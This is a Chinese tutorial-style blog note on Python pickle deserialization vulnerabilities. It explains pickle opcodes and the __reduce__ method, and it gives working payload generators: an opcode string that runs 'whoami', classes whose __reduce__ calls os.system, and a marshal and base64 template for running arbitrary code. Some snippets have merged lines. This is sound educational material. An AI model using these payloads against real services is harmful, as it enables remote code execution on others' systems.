参考文章

一篇文章带你理解漏洞之 Python 反序列化漏洞

Python Pickle/CPickle 反序列化漏洞

Python反序列化安全问题

pickle反序列化初探

前言

上面看完,请忽略下面的内容

Python 中有很多能进行序列化的模块,比如 Json、pickle/cPickle、ShelveMarshal

一般 pickle 模块较常使用

在 pickle 模块中 , 常用以下四个方法

  • pickle.dump(obj, file) : 将对象序列化后保存到文件
  • pickle.load(file) : 读取文件, 将文件中的序列化内容反序列化为对象
  • pickle.dumps(obj) : 将对象序列化成字符串格式的字节流
  • pickle.loads(bytes_obj) : 将字符串格式的字节流反序列化为对象

    注意:file文件需要以 2 进制方式打开,如 wbrb

序列化

  1. 从对象提取所有属性,并将属性转化为键值对
  2. 写入对象的类名
  3. 写入键值对

看到下面这个序列化例子

py3 序列化后结果为:

b'\x80\x04\x954\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Test\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x051ndex\x94\x8c\x03age\x94K\x12ub.'

py2 序列化后结果为:

(i__main__
Test
p0
(dp1
S'age'
p2
I18
sS'name'
p3
S'1ndex'
p4
sb.

这么一大串字符代表什么意思呢?可以简单的与 PHP 反序列化结果做类比 ----> 特定的字符开头帮助解释器指明特定的操作或内容

实际上这是一串 PVM 操作码

以 py2 运行得到的序列化结果 其中某些行的开头的字符具有特殊含义

符号 含义 形式 例子
c 导入模块及其具体对象 c[module]\n[instance]\n cos\nsystem\n
( 左括号
t 相当于),与(组合构成一个元组
R 表示反序列化时依据 reduce 中的方式完成反序列化,会避免报错 这在反序列化漏洞中很重要 很重要
S 代表一个字符串 S'string'\n
p 后面接一个数字,代表第n块堆栈 p0、p1
. 表示结束 .

例如:

cos\nsystem\n(S'whoami'\ntR.

反序列化

  1. 获取 pickle 输入流,也就是上面说的 PVM 码
  2. 重建属性列表
  3. 根据类名创建一个新的对象
  4. 将属性复制到新的对象中

反序列化时,将字符串(pickle 流)转换为对象

PHP 序列化相似,Python 序列化也是将对象转换成具有特定格式的字符串(py2)或字节流(py3),以便于传输与存储,比如 session

但是在反序列化时又与 PHP 反序列化又有所不同:

  • PHP 反序列化要求源代码中必须存在有问题的类,要求是被反序列化的对象中存在可控参数,具体可看这里
  • 而 Python 反序列化不需要,其只要求被反序列化的字符可控即可造成 RCE,例如:
# Python2
import pickle
s ="cos\nsystem\n(S'whoami'\ntR." # 将被反序列化的字符串
pickle.loads(s) # 反序列化后即可造成命令执行,因此网站对要被反序列化的字符串应该做严格限制

在 Python 中,一切皆对象,因此能使用 pickle 序列化的数据类型有很多

  • None、True 和 False
  • 整数、浮点数、复数
  • str、byte、bytearray
  • 只包含可封存对象的集合,包括 tuple、list、set 和 dict
  • 定义在模块最外层的函数(使用 def 定义,lambda 函数则不可以)
  • 定义在模块最外层的内置函数
  • 定义在模块最外层的类
  • 某些类实例,这些类的 __dict__ 属性值或 __getstate__() 函数的返回值可以被封存

其中文件、套接字、以及代码对象不能被序列化!

Why

Python 反序列化漏洞跟 __reduce__() 魔术方法相关

其类似于 PHP 对象中的 __wakeup() 方法,会在反序列化时自动调用

__reduce__() 魔术方法可以返回一个字符串或者时一个元组。其中返回元组时,第一个参数为一个可调用对象,第二个参数为该对象所需要的参数

When

关键问题就在 __reduce__ 方法第二种返回方式---元组。在反序列化时自动调用 __reduce__() 方法,该方法会自动调用返回值中的函数模块并执行

例如下面存的代码:

import pickle
import os class Rce(object):
def __reduce__(self):
return (os.system,('ipconfig',)) a = Rce()
b = pickle.dumps(a)
pickle.loads(b) # 执行该语句进行反序列化,自动执行 __reduce__ 方法,并且执行 os.system('ipconfig')

注意点:元类无法在反序列化时调用 __reduce__ 魔术方法,简单理解就是没有继承 object 的类

class A():
pass # 反序列化时不会调用 __reduce__ 方法
class B(object):
pass # 反序列化时会调用 __reduce__ 方法

由于 Python 反序列化时只需要被反序列化的字符串可控(而不需要源代码中存在有安全问题的类)便可造成 RCE

因此我们可以通过如下代码轻松构造 Payload:

import pickle
import os class Rce(object):
def __reduce__(self):
return (os.system,('ipconfig',)) a = Rce()
b = pickle.dumps(a)
print(b)

特性

  1. 看到如下两种不同的序列化结果:
import pickle
import os
class Rce(object):
name = "1ndex"
a = Rce()
print(pickle.dumps(a))

结果:

ccopy_reg\n_reconstructor\np0\n(c__main__\nRce\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n.
import pickle
import os
class Rce(object):
name = "1ndex"
def __reduce__(self):
return (os.system,("a",))
a = Rce()
print(pickle.dumps(a))

结果:

cposix\nsystem\np0\n(S'ifconfig'\np1\ntp2\nRp3\n.

然后用下面这个代码执行反序列化:

import pickle
str = "填写上面序列化后的结果"
pickle.loads(str)

一 对应的结果反序列化:

AttributeError: 'module' object has no attribute 'Rce'  # 报错

二 对应的结果反序列化成功

一般来说反序列化时如果源代码中没有对应的类 Rce,是会直接报错的(也就是上面一的结果),但是为什么在反序列化二的时候却能成功呢?源代码中明明也没有这个 Rce 的类啊

当序列化以及反序列化的过程中碰到一无所知的扩展类型/类的时候,可以通过类中定义的 __reduce__ 方法来告知如何进行序列化或者反序列化

也就是说我们,只要在类中定义一个 reduce 方法,我们就能在反序列化时,让这个类根据我们在__reduce__ 中指定的方式进行序列化(也就会执行 return 中的恶意代码)

这应该就是大佬说的相似:

Python 除了能反序列化当前代码中出现的类(包括通过 import的方式引入的模块中的类)的对象以外,还能利用其彻底的面向对象的特性来反序列化使用 types 创建的匿名对象,这样的话就大大拓宽了我们的攻击面。

  1. 反序列化执行 reduce 魔术方法,在 return 时,回自动导入源代码中没有引入的模块,例如:
import pickle
s ="cos\nsystem\n(S'whoami'\ntR." # 将被反序列化的字符串
pickle.loads(s) # 实际上会执行 os.system('whoami'),但是可以看到源代码中并未导入 os 模块

Solution

  • 严格控制要被反序列化的字符串

利用

执行命令

import pickle
import os
class Rce(object):
def __reduce__(self):
return (commands.getoutput,("whoami",))
a = Rce()
print(pickle.dumps(a))

执行任意 Python 代码

import marshal
import base64 def code():
# 这里放任意想执行的 Python 代码
pass print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(code.func_code))

Python 反序列化漏洞学习笔记的更多相关文章

  1. FastJson远程命令执行漏洞学习笔记

    FastJson远程命令执行漏洞学习笔记 Fastjson简介 fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean.fastjson.ja ...

  2. python反序列化研究学习

    零.补充: 补充于2018-02-08,之前研究时候有一个疑惑,python的序列化成二进制,打web服务怎么传这个二进制对象呢,今天请教了身边大神(传说的九零后黑客代表),可以使用base64传输. ...

  3. Requests:Python HTTP Module学习笔记(一)(转)

    Requests:Python HTTP Module学习笔记(一) 在学习用python写爬虫的时候用到了Requests这个Http网络库,这个库简单好用并且功能强大,完全可以代替python的标 ...

  4. python网络爬虫学习笔记

    python网络爬虫学习笔记 By 钟桓 9月 4 2014 更新日期:9月 4 2014 文章文件夹 1. 介绍: 2. 从简单语句中開始: 3. 传送数据给server 4. HTTP头-描写叙述 ...

  5. Python Built-in Function 学习笔记

    Python Built-in Function 学习笔记 1. 匿名函数 1.1 什么是匿名函数 python允许使用lambda来创建一个匿名函数,匿名是因为他不需要以标准的方式来声明,比如def ...

  6. Python快速入门学习笔记(二)

    注:本学习笔记参考了廖雪峰老师的Python学习教程,教程地址为:http://www.liaoxuefeng.com/wiki/001374738125095c955c1e6d8bb49318210 ...

  7. python数据分析入门学习笔记

    学习利用python进行数据分析的笔记&下星期二内部交流会要讲的内容,一并分享给大家.博主粗心大意,有什么不对的地方欢迎指正~还有许多尚待完善的地方,待我一边学习一边完善~ 前言:各种和数据分 ...

  8. python网络爬虫学习笔记(二)BeautifulSoup库

    Beautiful Soup库也称为beautiful4库.bs4库,它可用于解析HTML/XML,并将所有文件.字符串转换为'utf-8'编码.HTML/XML文档是与“标签树一一对应的.具体地说, ...

  9. Python之xml学习笔记

    XML处理模块 xml是实现不同语言或程序之间进行数据交换的协议,跟json差不多,但json使用起来更简单,至今很多传统公司如金融行业的很多系统的接口还主要是xml. xml的格式如下,就是通过&l ...

随机推荐

  1. netfilter 的扩展功能

    目前内核已经有filter 功能,但是往往实际运用中需要用到一些定制的filter  功能, 所以这个时候仅仅依靠现有的不能完成,于是就出现了conntrack的扩展功能, 最直接的就是tftp he ...

  2. tcpack--3快速确认模式- ack状态发送&清除

    ACK发送状态的转换图 ACK的发送状态清除 当成功发送ACK时,会删除延迟确认定时器,同时清零ACK的发送状态标志icsk->icsk_ack.pending ACK发送事件主要做了:更新快速 ...

  3. NO.A.0001——day01——Java概述/进制间的转换

    一.什么是JAVA语言:        JAVA语言是美国sun公司(Stanford University Network)在1995年推出的高级编程语言.所谓编程语言,是计算机的语言,人们可以使用 ...

  4. Java开发环境搭建(若jdk8按默认安装后没有jre文件夹,卸载重装时选择完整安装)

    JDK下载与安装(JDK 8是主流,新版版就是增加了一些新特性) 卸载旧JDK 删除java的安装目录 删除JAVA_HOME 删除path下关于java的目录 在cmd命令行中输入java vers ...

  5. Linux安装JAVA并且配置环境

    在写之前我先说一下我遇到的坑,我在配置环境的时候由于/etc/profile文件没有配置好导致系统彻底坏掉 1.ls vi等等命令使用不了,报错说找不到命令 2.在重启后虚拟机不能进入桌面 1.下载j ...

  6. MySQL 连接为什么挂死了?

    摘要:本次分享的是一次关于 MySQL 高可用问题的定位过程,其中曲折颇多但问题本身却比较有些代表性,遂将其记录以供参考. 一.背景 近期由测试反馈的问题有点多,其中关于系统可靠性测试提出的问题令人感 ...

  7. 利用Vmware workstation安装MS-DOS使用Turbo C 2.0

    首先上各种软件的链接 链接:https://pan.baidu.com/s/1HfTDexiJSpioUnzKddUIyA 提取码:khtu 这个链接是压缩后的 链接:https://pan.baid ...

  8. 万字长文!从底层开始带你了解并发编程,彻底帮你搞懂java锁!

    线程是否要锁住同步资源 锁住 悲观锁 不锁住 乐观锁 锁住同步资源失败 线程是否要阻塞 阻塞 不阻塞自旋锁,适应性自旋锁 多个线程竞争同步资源的流程细节有没有区别 不锁住资源,多个线程只有一个能修改资 ...

  9. Markdown的应知应会

    Markdown介绍 什么是Markdown Markdown是一种纯文本.轻量级的标记语言,常用作文本编辑器使用.和记事本.notepad++相比,Markdown可以进行排版:和Word相比,Ma ...

  10. Guitar Pro教程之虚拟吉他功能讲解

    上一章节我们讲述了Guitar Pro的组织小节的相关功能,那么本章节我们还是采用图文结合的方式为大家讲解关于{cms_selflink page='index' text='Guitar Pro'} ...